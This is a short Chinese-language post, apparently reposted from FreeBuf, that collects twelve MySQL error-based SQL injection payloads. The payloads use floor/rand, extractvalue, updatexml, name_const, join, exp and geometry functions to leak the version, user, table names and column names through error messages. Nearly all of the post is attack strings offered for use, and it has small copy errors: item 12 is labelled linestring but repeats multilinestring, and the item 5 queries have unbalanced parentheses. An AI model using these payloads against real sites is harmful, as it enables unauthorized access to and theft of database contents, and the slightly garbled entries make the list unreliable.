逛freebuf看见的。正好省的自己整理了。
注入的时候用的还很普遍,所以记录一下,也分享一下把。

前几个语句测试了一下,传了个图~

1、通过floor报错,注入语句如下:

1
and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);

2、通过ExtractValue报错,注入语句如下:

1
and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));

3、通过UpdateXml报错,注入语句如下:

1
and 1=(updatexml(1,concat(0x3a,(select user())),1))

4、通过NAME_CONST报错,注入语句如下:

1
and exists(select * from (select * from(select name_const(version(),0))a join (select name_const(version(),0))b)c);

5、通过join报错爆字段,注入语句如下:(在知道数据库跟表名的情况下使用才可以爆字段)

1
select * from (select * from 表名 a join 表名 b) c)

然后得到字段
如果想在爆下一个字段 就得加上using (已知的字段)
在下一个字段
如果想在爆下一个字段 就得加上using (已知的字段,已知的字段 )

1
select * from (select * from 表名 a join 表名 b using (已知的字段,已知的字段 ) ) c)

6、通过exp报错,注入语句如下:

1
and exp(~(select * from (select user() ) a) );

7、通过GeometryCollection()报错,注入语句如下:

1
and geometrycollection((select * from(select * from(select user())a)b));

8、通过polygon ()报错,注入语句如下:

1
and polygon((select * from(select * from(select user())a)b));

9、通过multipoint ()报错,注入语句如下:

1
and multipoint((select * from(select * from(select user())a)b));

10、通过multilinestring()报错,注入语句如下:

1
and multilinestring((select * from(select * from(select user())a)b));

11、通过multipolygon()报错,注入语句如下:

1
and multipolygon((select * from(select * from(select user())a)b));

12、通过linestring ()报错,注入语句如下:

1
and multilinestring((select * from(select * from(select user())a)b));